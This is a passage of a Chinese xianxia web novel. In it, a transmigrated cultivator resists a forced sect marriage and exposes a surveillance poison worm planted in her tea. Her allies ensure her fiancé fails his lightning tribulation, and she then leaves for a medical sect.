《白月光她剑斩天道》
1. 绝境
日薄西山,暮色将至。
李长缨步履轻快,走在回天极宗的长阶上。腰间悬挂的芥子囊被塞得鼓鼓囊囊,里面装满大大小小的妖丹。
此番游历收获不错。她哼着小曲儿,抬手擦了擦额角汗水,袖口处隐约可见暗沉的妖血。
晚风拂过,树叶沙沙作响。她忽然顿住脚步,眉头微蹙。空气中弥漫着一丝若有若无的腥臭味,莫名有些熟悉……
“吼——”
震耳欲聋的咆哮声从身后传来。
她猛地转身,只见一只体型庞大的凶兽自林中冲出,形似巨犬,双目猩红、獠牙外露,涎水滴落在地砸出不少小坑。
此地已是天极宗境内,怎会有凶兽出没。
不容李长缨多想,它已挥舞着粗壮的前肢朝她扑来。她不得不抽出佩剑迎敌,剑气闪过,竟连眼前畜生一根毫毛都未削掉。
“蚀日犬?二阶妖兽!”她心头一紧,下意识将手探入芥子囊,不料扑了个空。定是先前游历耗尽了符纸,可她灵力也将告罄……李长缨暗道不妙,一边同它周旋一边思考对策。
二阶妖兽相当于人类修士的筑基中期,而她不过炼气后期,正面硬拼绝无胜算。
魔犬再次扑来,她猛退几步,脚下不稳,低头一看,竟是退到了长阶边缘。
再退一步便是万丈深渊。
前有追兵,后无去路。她转身面对逼近的魔犬,握紧手中长剑。魔犬似乎看出她的困境,放缓了脚步,血红的眼睛闪烁出残忍的光芒。
李长缨眼中闪过一丝决然,指尖攥得发白,丝丝缕缕的鲜血顺着手腕经脉淌出。就在她提剑打算做最后一搏时,魔犬突然加速冲来,巨掌横扫而至。
仓促间,她举剑格挡,只闻“咔嚓”一声,长剑竟被生生拍断。巨大的冲击力将她掀飞,直往悬崖坠去。
跌落的瞬间,她望见魔犬颈间挂着一枚徽征,金纹火凤图腾在夕阳下熠熠生辉。
一切归于黑暗。
再睁眼,是另一番天地。
鼻息里满是浓郁的熏香气味,耳边声音嘈杂,夹杂几声叹息。
“李烟萝,”上方有人缓声开口,“方才我同你说的,你可有异议?”
她茫然地抬起头,只见三位尊者分列两侧,高座之上,天极宗掌门一袭紫金道袍,银发束冠,面容肃穆。
“……这是哪?”李长缨才面露困惑,眼前白光乍现,不属于她的记忆狂涌而至。
沉默良久,她猛掐一把大腿,剧烈的痛感提醒她,这不是梦。
有朝一日,她竟然穿到了长老亲传弟子李烟萝的身上?
谈及李烟萝,就算是远在外门的李长缨也并不陌生。闭眼回忆,她仍记得三年前试剑大会上,李烟萝以一手自创的“落英惊鸿”剑法拔得头筹——少女足尖轻点,剑气化作纷飞花瓣,看似轻柔却暗藏杀机。剑锋直取对手咽喉的同时,绯色落蕊随风轻旋而下,不偏不倚落在剑尖三寸之处。
何其精妙。
可惜前几日传来她冲击元婴境失败的噩耗,天极宗门人无不叹息,称这乃一个天才的陨落。
反观她自己,在外门苦熬多年也不过炼气,若非她时常外出斩妖除魔,收获许多妖丹,天极宗估计早就将她赶出去了。
穿越之事玄之又玄,莫非是有人暗中操作什么夺舍秘术。但眼下她无暇细想,李烟萝正被掌门及长老们召见,要求她履行幼时婚约,同极乐宫少宫主成婚。
“烟萝,你在听我说话么?”掌门沉声道,“你天资出众,实属难得,但修真之路坎坷漫长,若无强大靠山,终究难成大道。”
殿内静谧无比。众人目光尽皆落在她身上,几位长老神色各异。
他顿了顿,目光变得锐利:“极乐宫少宫主凌清寒,年少有成,与你正是良配。而两宗门联姻,于我天极宗大有裨益。”
李长缨脑中“嗡”的一声,瞬间回想起这位油头粉面的公子哥,各种法宝跟不要钱似的往他身上套,饶是在这般加持下,修为也不过筑基初期。
说什么“年少有成”,不过是用天材地宝堆出来的纸老虎。凌清寒骄横跋扈之名远扬在外,仗着极乐宫势力横行无忌,更可怕的是他贪恋美色,不知玷污了多少好人家的姑娘。
“掌门明鉴,”她强自镇定,按捺住心中嫌恶,“弟子一心向道,暂不考虑婚嫁之事,况且……况且弟子听闻凌少宫主性情暴戾……”
“烟萝,慎言,”另一道声音响起,嗓音温和,“凌少宫主虽脾气急躁了些,但对佳人最是怜惜。你嫁过去便是少宫主夫人,资源享用不尽,岂不比在我天极宗苦修强上百倍?”
“是啊,”另一位长老附和道,“当下你虽渡劫失败,但剑骨尚在,极乐宫必定不会亏待你的。”
提及“剑骨”,她低头凝视左手掌心,金色纹路时隐时现,那是剑骨拥有者特有印记。
生而有剑骨者,万里挑一。
有它辅以修行,修为可突飞猛进,然而她经脉尽毁,灵力全无,剑骨也成了摆设。
这般急着将她送往极乐宫,明面上说是完婚,实则与将剑骨献人无异。
捋清思绪,李长缨如坠冰窟。
“诸位长老,”她垂首行礼,声音不大却坚定,“弟子愿以其他方式报效宗门。降妖除魔、开拓秘境,哪怕是去镇守魔渊,弟子都愿意,只求……”
“胡闹!”掌门一声厉喝,属于化神期的威压骤然释放。她顿时呼吸困难,双膝重重砸在冰冷玉砖上。
“婚姻大事,岂容你儿戏!极乐宫肯要你,已是莫大的福分!”
疼痛感贯穿她五脏六腑,额头渗出细密的冷汗,李长缨嘴唇紧咬,强撑着挺直脊梁,不卑不亢:“弟子所求,望掌门成全。”
“掌门,诸位长老,烟萝师妹重伤未愈,实在不宜完婚,”一位白衣少年急急站出,拱手道,“况且师尊尚未出关,如今将师妹嫁去极乐宫,将来如何给师尊交代?”
他上前几步,衣摆一撩,干脆地跪在她身边,霎时,灌注在李长缨身上的威压轻了许多。
白衣少年剑眉星目,薄唇微抿,目光沉沉地望向端坐上首的掌门,脊背笔直。
正是李烟萝的大师兄,玄微道君的大弟子,沈负暄。
谈及她的师尊,在场诸位皆神色一凛。虽说玄微道君闭关十余载,不问世事,但他们擅作主张将其小弟子嫁去别的宗门,终究说不过去。
更何况,玄微道君是当今天下第一剑修,真要追究起来,他的掌门之位还坐不坐得住,都有待考量。
可他与极乐宫已商谈妥当,用她的剑骨换天极宗在来日大战中平安无虞……
思虑再三,掌门心一横,冷声道:“那又如何?届时玄微出关,我自会同他解释。”
他重新将目光投在李长缨身上,稍微放软了语气:“烟萝,天极宗平日待你如何,你心中可有分寸?”
她点点头,正欲开口,掌门继续道:“宗门养你育你,如今需要你出力,不过分吧?”
“弟子自会报答宗门养育之恩,”她弯下身子伏在地上,声音平稳,“只是弟子认为,此事事关重大,万不可轻率而行。”
见她仍不答应,他眼底闪过一丝不耐,手指微动,威压猛然加剧。李长缨身形一晃,口中涌出一口黑血。
“师妹!”沈负暄见状,连忙扶住她,转头望向掌门,面露哀求,“烟萝师妹已然重伤,恳请掌门先派人为她医治……”
他靠回座椅,语气不疾不缓:“烟萝,看看你现在的样子,和手无缚鸡之力的凡人有何区别?作为修士,你当真甘心?”
“你自己选吧,”他长叹一声,揉揉眉心,“若你应下婚事,我即刻去请杏林门圣手来为你医治。若是不愿……”
他抬眸盯着李长缨,瞳色骤沉,未尽之语不言而喻。
事到如今,她知晓再
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无转圜之地。身为修士,最要紧的便是一身修为,唯有等她恢复实力,或许才有反抗的余地。
沉默片刻,她缓缓起身,一字一句道:“掌门所言极是,弟子领命。”
回荡在大殿上方的紧张气氛一扫而空。
他颔首,捋须笑道:“这便是了,顾全大局方为上策。”
一只传音纸鹤倏地飞进殿内,盘旋几圈,停在掌门肩头。
侧头细听少顷,他朗声道:“极乐宫发来传音,凌少宫主已抵达天极宗,你们几个快去迎接。”他抬手点了几个侍立在侧的弟子。
“不必了。”
守门弟子急促的通报声还未传来,凌清寒已掀帘而入。他身着织金朱袍,玉冠束发,俊眉轻挑,视线在大殿内扫视一圈,直勾勾地盯着尚且站在中央的李长缨。
今日她一袭素净长袍,青丝用木簪简单挽起,身段纤瘦得过分,举止间是掩不住的病气。
视线徘徊在她的纤细腰间,他舔了舔嘴唇,心道这天极宗小师妹虽不是倾国倾城之貌,但也算清丽可人。感受到他炽热的目光,她不自觉地后退半步,垂首避开他的打量。
“凌少宫主远道而来,实在是有失远迎,”掌门匆忙起身,脸上堆满谄媚的笑意,“请入殿用茶。”
“不急,”凌清寒轻笑一声,转身挥手,几名家奴立即抬着六个朱红箱子鱼贯而入,“区区薄礼,三箱上品灵石,两箱东海鲛珠,还有一箱……是特意为烟萝妹妹准备的极品养气丹。”
叫得这般亲昵,不知道的还以为二人早已情投意合,李长缨心中翻了个白眼,表面客气地欠了欠身,以示感谢。
“凌少宫主好意心领……”掌门连忙示意弟子将箱子接过,话未说完,便被凌清寒打断:“这也是聘礼的一部分。”
他慢慢踱步至她身边,手竟向她手背覆去。“听闻妹妹渡劫失败,我心痛不已,幸而极乐宫藏有与剑骨契合的秘法,”他忽然压低声音,“若妹妹愿意,我可亲自指点……”
剑鸣骤然响起,沈负暄腰间佩剑并未出鞘,却迸发出一道凌厉剑气,硬生生将凌清寒逼退。
“烦请凌少宫主自重。”他眼中寒光闪烁,周身剑意凛然。
“负暄!休得无礼!”掌门暴喝道,转而对凌清寒无奈笑笑,“让凌少宫主见笑了,您与烟萝的合卺大典事项繁复,我们还得仔细商议。”
“那是自然,”他不甚在意,目光停在李长缨垂下的左手上,语气玩味,“只是极乐宫忧心夜长梦多,剑骨被些鼠辈窃取,特有了个不情之请。”
他微微仰头,意味深长道:“典礼举行前,烟萝妹妹仍可留在天极宗,但需搬至特别准备的洞府,由我们极乐宫的人照顾起居。”
此话一出,在场众人无不讶异。
李长缨双拳紧握,指甲深深掐入掌心。这分明是要将她软禁!
“凌少宫主这是何意?”她咬牙发问,眼中怒火几乎要化为实质。
“自然是担忧你的安全。”凌清寒垂眸浅笑,手指虚虚揽住她肩膀。
掌门与诸位长老对视一眼,犹豫片刻,还是应下了他的请求。反正李烟萝迟早都要送到极乐宫,眼下将她软禁也未必是件坏事,免得再生事端。
他满意地勾起唇角,凑近她耳边,呼出的热气喷在她耳垂上:“你逃不掉的……”指尖在她肩膀上摩挲几下,他退开半步,做出“请”的姿势。
跟随他堪堪行至殿外,一只妖兽不知从何处猝然窜出,张开血盆大口扑向他们,她下意识拔剑格挡,却被凌清寒拦下。只见他抬手摸了摸它的脑袋,语气宠溺:“铃铛,等急了吧。”
说罢,他转头看向惊疑不定的李长缨,眼底闪过一丝得意:“这是我的灵宠,一只二阶蚀日犬。”
听见“蚀日犬”三字,她僵在原地,大脑一片空白。
视线缓缓下移,她看见眼前畜生的脖颈处,赫然挂着枚金纹火凤徽征。
2. 猎物
她不由得打了个冷颤,面色愈发惨白,双眼死死盯着那枚徽征。
“你怎么了?”注意到她不对劲,凌清寒拧眉,伸出五指在她眼前挥了挥。李长缨回过神来,缓缓转头看他,眼底漫上猩红血丝。
似是被她这副诡异的模样吓住了,他后退一步,正要发问,铃铛忽然急促地呜呜叫起来。“它在叫什么?”凌清寒扭头问身边一位精通兽语的家奴。
“回禀少宫主,它在说……”家奴顿了顿,瞟了眼李长缨,语气犹疑,“方才它将一人撞下了悬崖。”
这可是在天极宗境内,他脸色一变,厉声问道:“撞的何人?”
“不知,”家奴摇摇头,又补充道,“在外门遇上的。”
幸好是在外门,凌清寒松了口气,心道大抵是哪位不幸的小弟子,修为不敌二阶妖兽,总归不是什么要紧人物。“罢了,”他摆摆手,“此事若天极宗不提起,你我就当无事发生。”
听完二人对话全程,李长缨抿紧唇,彻底沉下脸来。
原来在这些人眼中,一条无辜弟子的命,就这般无足轻重。
她指尖紧紧攥住衣袖,杀意随着手指蔓延。
凌清寒却权当她是方才被吓坏了,将人揽在身前,轻声安慰道:“无事,它不会伤害你的,日后我教铃铛认你为主……”
李长缨猛地推开他,深吸一口气,冷声道:“凌少宫主,你我尚未成婚,不得逾礼。”强压下心中怒火,她错开身子,欠了欠身:“还请带路吧。”
几次三番被眼前少女拒绝,他也失了耐心,越过她大步流星地走在前方,只恶狠狠暗想她眼下装的一副冰清玉洁的模样,到时嫁过去还不是被他玩的命,等面对他屋里那几位手段了得的侍妾,指不定要如何哭爹喊娘地向他求情。
天极宗给李长缨新开辟的洞府位于青冥峰,是宗门内唯一一座无主的荒山,人迹罕至,常年笼罩在云雾之中。
洞府内环境清幽,绿草掩映,确是极佳的养病之处。
凌清寒上前几步,坐在卧榻上,斜倚着炕几,微抬下巴,一名黑袍家奴应声而出,为二人倒茶。
她接过递来的茶盏,垂眸看着盏中漂浮打转的茶叶,轻抿了一口,目光透过氤氲热气,望向他,眼神明暗不清。
随手屏退随侍家奴,他慢慢靠近她,极富侵略性的气息如山般压下来。
“你要做什么?”李长缨后退半步,满眼警惕。
他嗤笑一声,眼尾轻扬:“烟萝妹妹何必紧张?”说着,伸出手指不安分地勾着她垂落在颈侧的发丝,语气玩味:“你我既有婚约在身,亲近些也是应当的。”
闻言,她差点背过气去,眼角抽搐,惊叹于眼前人不要脸的程度。
用尽全力克制住想扇他一巴掌的冲动,她垂眸柔声道:“凌少宫主,你既知我经脉尽毁,又何苦为难我呢?早就听闻你府上美人如云,若是实在寂寞,不如去找她们解闷……”
凌清寒半眯眼睛,面色一沉。
这话说得甚是不客气,但转念一想,她连他府上情况都知晓几分,恐怕素日里就在默默关注他,思及此,不由得心生几分自得。
“罢了,不闹你了,”他摆摆手,李长缨还未松口气,他复又期身而下,扣住她手腕,两人四目相对,“不过,得让我讨点彩头。”
后背抵上冰凉的书架,凌清寒身上的龙涎香扑面而来,她厌恶地别过脸去,急喝道:“凌少宫主请自重!”
他置若罔闻,单手撑在她耳侧,强势地抬起她的下巴,力道大得让她吃痛,目光在她白皙面容上流连,最终停在那嫣红唇瓣上:“不如今日就让你我……”
眼前阴影蓦地放大,情急之下,她不得不调动体内残余灵力,尽皆灌注进右手掌心,正要给他奋力一击,门外传来家奴阻拦的声音。
“奚圣手,您不能进去!少宫主还在里面!”
听见动静,凌清寒面色骤冷,李长缨趁机猛退几步与他拉开距离。方才不得已动用灵力,眼下她右臂剧痛如裂,手指无力地垂着,鲜血顺指尖滴落。
本就苍白的面色更甚,她紧咬下唇,悄悄将手背在身后。
“笃、笃、笃。”
有人轻轻叩响木门,挺拔身姿被日光投射在门扉上,影影绰绰看不真切。凌清寒纵使万般不情愿,也不得不拉开门。
只见一位身着浅青色长衫的公子立在门口,手中折扇轻摇,墨发松松挽起,发间插着根碧绿玉簪。
他不着痕迹地打量了下二人,唇角勾勒出和煦笑意,拱手行礼道:“在下杏林门奚不言,见过李姑娘、凌公子。”
想必这位便是宗门为她请来的医师。
李长缨正欲向他回礼,凌清寒却瞪了他一眼,满脸不悦:“奚圣手来做什么?”
奚不言怔愣片刻,轻笑一声,旋即正色道:“自然是来为李姑娘医治。”
他提着药箱迈入门槛,无视凌清寒阴沉面色,径直走向她,低声开口:“在下先为姑娘把脉?”
她点点头,伸出手腕,却见他又转头默默望向凌清寒。
“干什么?”凌清寒撇撇嘴,神色不耐。
“杏林门门规,施治时无关人员不得在场旁观,”他朝门口轻抬下巴,“还请凌公子暂避。”
“不可,”凌清寒骤紧眉头,直勾勾地盯着他,“你不能跟我未婚妻共处一室。”
“凌公子,莫要以为旁人都跟你一样,”他慢悠悠收起折扇,语气里染上几分冷意,“看这架势,凌公子是执意要对抗杏林门了?”
见他直接搬出杏林门全宗,凌清寒神色变幻莫测。虽说极乐宫隐约有一家独大之势,但杏林门作为最大的医修门派,实力也不容小觑。
且在出发前,宫主专门叮嘱过他不得意气用事。他虽不知奚不言修为几何,但对方能稳坐“圣手”这把交椅,恐怕境界在他之上。
脸色慢慢涨成猪肝色,他狠狠一甩袖子,撂下一句“你不要耍小动作”,抬脚而去。
奚不言这才回首,朝李长缨弯了弯眼睛,伸出二指搭在她手腕处。
闭目凝神须臾,他眉头微蹙:“姑娘应是受雷劫影响,金丹崩溃,是以经脉受损,灵力尽失。”
“敢问奚圣手,可有治愈的可能?”她身体微向前倾,迫切开口。
收回手,他理了理青衫袖口,叹了口气:“不到……一成,不过姑娘放心,我自会全力以赴为你医治。”
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不到一成。
深吸口气,她下定决心道:“劳烦奚圣手了,能恢复一点也是好的。”
说罢,奚不言运转起灵力,指尖灵光凝聚成团,缓缓渡入她心口。
灵光如有生命般游走在她破损的经脉上,在断口处聚起小小光晕,引导着各自相连。
忽地,像是有人在她心脏捏了一把,李长缨不由得闷哼出声,额头上沁出一层细密汗珠。剧痛中,一股暖流突然贯通四肢百骸,她惊讶地发现,枯竭的经脉里竟有灵力开始流淌,虽不足全盛时期三成,但足以施展简单法术。
不出半时辰,她全身经脉修复完毕,神识向体内探去,却见丹田之上,金丹虽重新聚成浑圆状,但裂痕交错,脆弱不堪。
“已恢复到筑基初期境界,姑娘切勿强行催动灵力,”他收回手,眉间浮起一丝困惑,“只是……我方才发现你元魂不全,你可知为何?”
她面色一怔,努力搜寻李烟萝的记忆,却毫无收获。
按理说元魂不全之人天生心智有损,做个寻常人已是不易,更遑论修士。而李烟萝明明是世人口中的天才,怎会有这等沉疴?
李长缨苦思良久得不出结果,猛地回神,突然意识到,奚不言指的元魂不全之人,似乎是——穿来的她?
原来如此,她脑海中灵光乍现。
难怪她在外门苦修多年不见成效,原来是因为她天生不足!
霎时间,李长缨内心百感交集。
不知是为自己并非不勤奋刻苦而欣慰,还是为自己修仙无望而悲哀。
奚不言默默端详着眼前少女,只见她脸上表情变了又变,可谓精彩纷呈。半晌,他轻咳一声:“姑娘勿要太过伤怀,在下也不是全然没有办法……”
闻言,她眼睛亮了一瞬,他继续道:“四月后便是医修大比,若姑娘愿意做我的病例,助我夺得第一医修之称,我自当竭力为姑娘医治……”
他顿了顿,犹豫道:“只是……姑娘又是经脉有损、又是元魂不全,实属罕见,恐缺少先例,难免会让姑娘试药……”
“这是自然,我同意了,”李长缨一脸爽快,撑着脑袋望向他,眼底暗光闪过,“但我有一个请求。”
“你助我离开凌清寒和天极宗,我就做你的病例。”
话音未落,奚不言蓦地抬头,手指不轻不重地敲着扇骨,眸中惊讶转瞬即逝:“姑娘是要同时与极乐宫和天极宗为敌?”
她并未回答他这一问题,转而道:“天极宗欲将我的剑骨献与极乐宫,若此事得逞,八大宗门制衡之态必将打破,我猜,杏林门不愿看到这一局面吧?”
“姑娘倒是知道的挺多。”他收起折扇,一双狐狸眼微微一转,薄唇轻启,吐出两个字。
“成交。”
两人达成协议,李长缨眸光炽热,眼里满是雀跃。
正欲开口说些什么,她猛地低头,紧紧按住太阳穴,指节因用力而发白,身子撞翻榻上炕几,茶盏跌落,在青砖上摔得粉碎。
“李姑娘?!”奚不言急忙上前,却被眼前景象震住。
只见细密血管如蛛网般从她颈部向上蔓延,在苍白的皮肤下泛出诡异的青紫色。
3. 破局
“呃啊——!”李长缨蜷缩在地,十指深深插入发间。
额上青筋暴起,似乎有东西在颅骨内钻凿,她生生咬破舌尖才忍住尖叫,鲜血顺着下巴滴在衣襟上。
“别动!”
奚不言扶住她肩膀,迅速掐诀,一道青光从指尖没入她后颈。她疼得眼前发黑,却清晰听见颅内传来细微的“吱吱”声。
半透明的血红虫子被灵力拖拽出,在半空中不停蠕动。
头疼稍解,冷汗早已浸湿后背,她大口喘着气,面露嫌恶:“这是……蛊虫?”
“此蛊名为一念蛊,不伤人性命,只作监视用。”他微微垂下眼,漆黑的眼眸中划过一丝锋芒,俯身从药箱中取出一方锦盒,将它装了进去。
李长缨脑海中瞬间闪过几个可疑的人名,思忖片刻,她迟疑道:“这蛊虫……是如何种下的?”
“内服即可。”
修士大都辟谷,最近她入口之物,唯有凌清寒命人给她奉的茶。
视线缓缓下移,停留在方才被她不慎摔碎的茶盏上。
顺着她的目光,奚不言拾起地上茶盏碎片,靠近鼻尖轻嗅少顷,又用指尖一捻,碎片登时浮现出血色残影,与方才蛊虫的颜色别无二致。
竟然是凌清寒下的手。
他将她软禁还不够,甚至要下蛊来监视她的动向。
简直是欺人太甚。
新仇旧恨涌上心头,李长缨手指慢慢收拢,脸上笼照一层阴云。
奚不言观她反应,也猜出对方身份,低眉凝视掌中锦盒须臾,他犹豫道:“先前在你脑中的是子蛊,应当还有一只母蛊。一念蛊珍贵且极脆弱,须有人以身饲蛊方可存活……”
“你的意思是,凌清寒身边有蛊修?”
他缓缓抬眼,眸中似凝了霜雪:“我怀疑,有无生谷的人参与。”
闻言,李长缨不由得倒吸一口冷气,深谙此事非同小可。
无生谷虽位列八大宗门之一,却臭名昭著,人人喊打。
只因门中弟子皆为蛊修,日常谋财害命之余,又与魔域关系密切,不少名门大派的修士都要骂他们一句邪魔外道。而其门派创始人乃杏林门叛逃弟子,自然与杏林门水火不容。
堂堂极乐宫少宫主,竟公然与无生谷勾连,还敢对天极宗亲传弟子下蛊。虽说天极宗对他是一再容忍,但涉及蛊毒,此事便不可能大事化小、小事化了。
熟悉的议事堂内。
李长缨立于大殿中央,脊背挺直如剑。她身旁站着奚不言,青衫微扬,神色肃然。
二人对面,凌清寒锦衣华服,唇角噙着惯常的轻佻笑意,眼底却闪过一丝阴鸷。他率先开口:“烟萝妹妹,你这般匆匆将我唤来,是有何要事?”
“掌门,诸位长老,”她拱手行礼,声音清冷,“今日弟子请诸位见证,极乐宫少宫主凌清寒暗中对我下蛊,意图操控剑骨。此等行径,已非正道所为!”
殿内一片哗然。
掌门脸色大变,声线颤抖:“烟萝,话不可乱讲,除非你有证据!”
凌清寒嗤笑一声,附议道:“烟萝妹妹,你我既有婚约,我怎会害你?”
“若无证据,弟子岂敢妄言?”唇角勾起一抹冷笑,她从奚不言手中接过锦盒。
指尖一弹,“咔哒”一声,锦盒打开。
里面赫然是蠕动的血红蛊虫。
“此蛊名为一念蛊,作监视用,”她从袖中掏出茶盏碎片,同锦盒放在一起,碎片上血影萦绕,“而凌少宫主便是假借饮茶之名,让我服下该蛊。”
她字字清晰,掷地有声。
“一派胡言!”凌清寒猛地拂袖,双目圆瞪,脸上肌肉扭曲着,“区区一只劳什子蛊虫,和一片来历不明的碎瓷,焉能作证?!”
大师兄沈负暄立于掌门身侧,扫了眼半信半疑的众人,寒声质问:“铁证在此,凌少宫主还敢狡辩?”
“我极乐宫名门正派,怎可能与蛊修勾结?”他气得嘴唇发抖,胸膛剧烈起伏着,蓦然伸出手指指向沈负暄,“倒是你,几次三番阻拦我和烟萝的婚事,谁又能保证这次不是你的栽赃陷害?”
闻言,在场众人不由得有些动摇,凌清寒虽是无法无天了些,到底代表着极乐宫的颜面,下蛊之事,无异于自掘坟墓。
“凌少宫主莫要倒打一耙,”沈负暄眸光幽黑,面色骤冷,“还是想想,该怎么自证清白才是……”
话音未落,他“唰”地抽出佩剑,剑光如虹,数道剑气朝凌清寒身后的一名家奴袭去。
那家奴向来一袭黑袍裹得密不透风,旁人虽不解,也只道是个人癖好,今日却是明了了。剑气拂过,恰好将他小臂的衣衫割断,只见灰白色的手臂上满是小蛇般缠绕的诡异纹路,泛着死气,骇人至极。
唯有以身饲蛊者,手臂皆是蛊纹。
这下证据确凿,掌门缓缓起身,阴沉开口:“凌少宫主,你作何解释?”
凌清寒瞳孔骤缩,呆愣了片刻才发出声响:“不、不可能……我……”
左顾右盼须臾,见众人面上皆是怀疑之色,他突然抬脚将那家奴踹翻在地,破口大骂:“孽障!你竟敢修习邪术,还想嫁祸于我!”
万万想不到此人竟不要脸至此,李长缨冷哼一声,正欲开口。沈负暄几步行至他面前,眉头挑起,语气森然:“凌少宫主,莫把旁人当傻子,你勾结蛊修已是板上钉钉之事,再多挣扎也是无用。”
顿了顿,他回身请命:“掌门,凌少宫主私通邪修,为正道所不容,弟子请求将他遣返回极乐宫!”
此话一出,掌门紧皱眉头,手指在案几上来回敲叩,拿不定主意。
凌清寒到底是极乐宫少宫主,且天极宗早已跟极乐宫绑在一条船上,他惹不起。
但勾结蛊修实非小事,若他轻轻揭过,便是向天下人表明,天极宗支持邪魔外道。届时,光是其余宗门的口诛笔伐,便能让他吃不了兜着走,就算有极乐宫撑腰怕也无甚作用。
思及此,他望向凌清寒,沉声开口:“将那家奴拿下,关入地牢。至于凌少宫主,我即刻传音,让极乐宫派人接你回去。”
李长缨趁机问道:“那婚约的事……”
掌门身形一顿,眸光闪烁片刻,下定决心:“婚约不可废,至于婚期……再议。”
毕竟同极乐宫已达成交易,天极宗无论如何也要将剑骨献上,否则日后如何面对极乐宫的诘问。
她眼神稍黯,眼底染上抹自嘲。
纵使凌清寒犯下弥天大错,她依然摆脱不了嫁给他的命运么?
回到洞府,奚不言来为她送药。
见她神情落寞,他不动声色地放下药碗,踌躇片刻,低声道:“先前我答应助你离开凌清寒,并非戏言……”
“烟萝师妹若是不想联姻,我倒是有个法子。”
门扉被“吱嘎”一声推开,沈负暄轻提衣摆,款步入内:“凌清寒劫期将至,或许可以趁此机会……”<
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p>话未说完,李长缨心尖猛地一颤,指尖微蜷,片刻又疑惑道:“沈师兄如何知晓?”
奚不言将折扇抵在下巴处,若有所思地盯着他,轻笑启唇:“沈公子倒是了解得清楚。”
“师妹的事,自然是上心的,”沈负暄瞥了他一眼,淡淡道,“凌清寒向极乐宫传信讨要避雷符,被我手底下的人截住了。”
“你的意思是……?”她轻咬下唇,欲言又止。
沈负暄微微扬起下颌,眼中冰冷一片:“不如将计就计?”
“这是要赶尽杀绝?”奚不言漫不经心掀了掀眼皮,嗓音云淡风轻,“沈公子好计谋。”
“彼此彼此。”
次日,凌清寒启程返回极乐宫。
天极宗山门外,他半躺在紫檀木软轿中,金冠玉带,看向李长缨的目光如视囊中之物,声音慵懒:“烟萝妹妹,我先走一步,莫忘了你我的约定。”
只看他从容淡定之态,任谁也想不到,他算是被天极宗赶回去的。
“少宫主,一路顺风。”她轻声回应,眼神波澜不惊。
“沈大公子,咱们来日方长。”目光望向站在她身后的沈负暄,他嗤笑一声,倨傲又挑衅。
来日方长?李长缨眼眸微微眯缝,不知他有没有那个命了。
无人注意之处,几张引雷符顺着轿辇缝隙,悄无声息地钻入凌清寒的衣袍。
凌清寒这一行才出发不久,天色骤变,乌云翻涌,雷光隐现,似是天劫将至。
这是……他要渡劫进境了?
他欣喜若狂,大步跳出轿辇,一把抽出法器,大有要直面天雷之势。
跟随他的家奴大多境界低微,见状四散开来,远远躲着。
“轰——!”
第一道天雷轰然劈落,电火行空,瞬间吞噬他的身影。
凌清寒惨叫一声,口中涌出大股黑血,仍强撑着半跪在地,眼中是明灭不息的欲望。
再坚持一会儿,渡了这天劫,他便是筑基中期的修士了。
“轰——!”
第二道天雷紧随而至,他只觉全身皮肉寸寸剥落,骇人的雷痕纵横交错。
匆匆抹掉嘴角血污,他脸色惨白,心脏扑通狂跳,不禁疑惑这雷劫不同寻常,未免太盛。
“轰——!”
第三道天雷降下,这一次,劈的是他的丹田。
只听“咔嚓”一声,丹田骤然碎裂,鲜血喷涌而出。他再也支撑不住,栽倒在地,两眼一翻晕了过去。
凌清寒渡劫失败沦为废人的消息火速传遍天极宗与极乐宫,李长缨与他的婚事自然不了了之。
为寻求进一步治疗,她与奚不言同返杏林门。
回首望去,仙气缭绕间,那座让她蹉跎多年的仙山渐渐远离。
而前方,云雾弥漫,充满未知。
李长缨轻叹一声,垂眸,紧紧盯着手中信笺。
信笺小巧精致,右上角盖着枚朱砂小印,是“宿尘”两个篆字。
此信是凌清寒渡劫失败的遗留之物。
以他为中心,方圆三丈都化作焦土,唯有这封信笺泛着细碎晶光。奚不言本是去清除引雷符残余痕迹,见它蹊跷,顺手将它带了回来。
信笺附有属于化神期修士的禁制,幸而遭逢天雷,禁制被毁,她得以查看其间内容。
只见上面墨痕浅淡,用蝇头小楷写着——
「剑骨一物,非我所求,眼下善魂已至,切记……」
4. 阴谋
剩余字句如线团般缠绕在一起,叫人无法辨认。
奚不言扫了一眼,眉头轻蹙:“应是信笺主人的神识察觉到异常,将内容隐去了。”
话音未落,墨痕渐渐消去,徒留空白的信纸,仿若无事发生。
指尖轻蜷,李长缨脑中嗡嗡响,嗓音滞涩:“信中所言‘剑骨’,莫非指的是我?那善魂又是何物?”
关于这封蹊跷的信,她有太多疑问。
“剑骨千年难逢,目前来看,似乎是这样,”他颔首,指尖点着扇柄,“至于‘善魂’……世人大都只论三魂七魄,善恶双魂的说法,我偶然在一部禁书中瞧见过,了解不多,若要再详细些,恐怕得去一趟药王阁。”
他口中的“药王阁”,乃杏林门藏书阁,汇聚了天下医书和药方,以至于入阁一观成为无数医修心中所向。但少有人知的是,位于它正下方的禁阁才是最珍奇所在,其间所藏皆是禁书秘术,不乏乱人心魄、于神不知鬼不觉间夺人性命之法。
驮载二人的马车在空中飞速前进,一盏茶的工夫,便缓缓停在杏林门大门处。
门派坐落于繁华城池中心地带,白墙青瓦,门前悬一块乌木匾额,上书“杏林门”三字,遒劲有力,墨门大开,其上绘有青囊九叶徽征,两侧白玉石像耸立。
周围虽商铺林立,行人如织,但一跨入门内,喧嚣顿无,仿佛踏入另一番天地。亭台楼阁如云,假山奇石罗列,青衫医者往来其间,四处都置有常年燃着的安神香,青烟袅袅,教人路过时只觉心神一宁,病痛似也轻了三分。
被眼前扑面而来的“财大气粗”之气所震撼,李长缨半天说不出话来,奚不言见状莞尔,领着她进入前堂,里面病患早已排成长龙,坐堂弟子诊脉如行云流水,药童在一旁抓药、研磨、煎煮,动作娴熟。
倏地,他折扇一展,拦住一位打杂的小弟子,声音清润:“且慢,你是新来的么?”
小弟子猛地抬头,她也跟着多看了几眼。
太瘦了,眼睛大得吓人,面颊凹陷,鼻梁上有道不深不浅的疤,大概出身寒微。
双眼不自然地瞥向一旁,他嚅嗫道:“是……我今日才入门。”
一道爽朗的女声突然响起。
“今日早些时候,他晕倒在大门口,我看着可怜,便把他捡回来了。”几人回头,只见一位身形高挑的女子款步而来,眉宇间透着一股英气,薄唇微微上扬。
“师姐,你怎么又随意捡徒弟了,”奚不言声音中透着一丝无奈,“你忘了先前……”
被他唤作“师姐”的,便是杏林门圣手之一——叶黎,同时也是他的二师姐。
她无所谓地耸耸肩:“多一张嘴不多,捡都捡了,权当是结段善缘。”说罢,她吩咐小弟子去忙活,转头看向李长缨,脸上笑意清浅。
